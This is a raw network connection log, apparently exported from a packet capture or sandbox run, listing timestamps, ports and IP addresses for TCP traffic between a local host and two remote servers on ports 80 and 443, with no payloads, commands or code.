Dec 20, 2024 13:12:26.494050980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.494103909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.494993925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.495075941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.495207071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.495294094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.496011019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.496118069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.496283054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.496402979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.497067928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.497186899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.497328043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.497389078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.498116016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.498238087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.498764992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.498858929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.499152899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.499222040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.499367952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.499439001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.500338078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.500403881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.500570059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.500627041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.501277924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.501354933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.501400948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.501486063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.502310038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.502456903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.502907038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.502965927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.503364086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.503457069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.503463984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.503537893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.504419088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.504514933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.504533052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.504580975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.505450964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.505527973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.505999088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.506061077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.506522894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.506604910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.506836891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.506905079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.507559061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.507637978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.507855892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.507946968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.508579016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.508694887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.508761883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.508821011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.509676933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.509749889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.509799957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.509895086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.510843992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.510914087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.511842966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.511853933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.511893988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.511903048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.511950970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.512818098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.512897015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.513070107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.513129950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.513823032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.513920069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.513991117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.514046907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.514904976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.514990091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.514997005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.515069962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.515913963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.515969992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.516134024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.516207933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.516999006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.517055988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.517465115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.517544985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.518098116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.518165112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.518171072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.518373966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.519058943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.519128084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.519731998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.519829035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.520104885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.520203114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.520476103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.520534992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.521204948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.521357059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.521380901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.521433115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.522233009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.522313118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.522317886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.522486925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.523350000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.523519039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.523592949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.524307966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.524365902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.524524927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.524678946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.525360107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.525446892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.525713921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.525774002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.526443958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.526527882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.526696920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.526845932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.527472019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.527549982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.527678013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.527789116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.528630972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.528687000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.528860092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.529042006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.529607058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.529720068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.529767036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.529767036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.530663967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.530750990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.531188965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.531267881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.531644106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.531702042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.532747030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.532757044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.532839060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.533535957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.533588886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.533757925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.533869982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.534303904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.534379005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.534868956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.534920931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.535200119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.535274982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.535883904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.535938025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.536036968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.536118984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.536916971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.536978006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.537216902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.537281990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.538017988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.538069963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.538176060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.538327932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.539103031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.539167881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.539515972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.539573908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.540106058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.540249109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.540352106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.541045904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.541127920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.541215897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.541311026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.638935089 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:26.639143944 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:26.640810966 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:26.640845060 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:26.641180992 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:26.642339945 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:26.642529011 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:26.642579079 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:26.642648935 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:26.642663002 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:26.678864956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.678900957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.679136038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.679455042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.679563046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.679584026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.679634094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.680430889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.680488110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.680519104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.680660963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.681593895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.681652069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.681658983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.681811094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.682514906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.682584047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.682595015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.682645082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.683579922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.683645964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.683660984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.683716059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.684775114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.684786081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.684895992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.685671091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.685748100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.685775995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.685842991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.686836004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.686918974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.686924934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.686975002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.687762976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.687810898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.687829018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.687916994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.688851118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.688870907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.689001083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.689882994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.689958096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.689980984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.690021992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.690901041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.691041946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.691065073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.691083908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.691975117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.692048073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.692059994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.692174911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.692987919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.693053007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.693104982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.693206072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.694050074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.694132090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.694155931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.694257975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.695137978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.695192099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.695336103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.696156979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.696223021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.696227074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.696413994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.697201967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.697289944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.697308064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.697405100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.698280096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.698367119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.698378086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.698456049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.699443102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.699584961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.699594021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.699651957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.700367928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.700454950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.700567961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.700694084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.701432943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.701498985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.701611042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.701700926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.702671051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.702742100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.702794075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.702794075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.703602076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.703711987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.703717947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.703784943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.704520941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.704605103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.704662085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.704730034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.705615044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.705713034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.705770969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.705770969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.706692934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.706748009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.707010984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.707220078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.707700968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.707768917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.707798004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.707928896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.708887100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.708978891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.709006071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.709065914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.709904909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.710001945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.710072994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.710072994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.710813046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.710900068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.710927963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.711004019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.711900949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.711999893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.712023973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.712265968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.712933064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.712990046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.712990999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.713063002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.713994026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.714054108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.714108944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.714171886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.715012074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.715079069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.715106964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.715164900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.716159105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.716217995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.716233969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.716264009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.717113972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.717173100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.717201948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.717262030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.718167067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.718220949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.718302011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.718370914 CET	49859	80	192.168.2.5	31.41.244.11
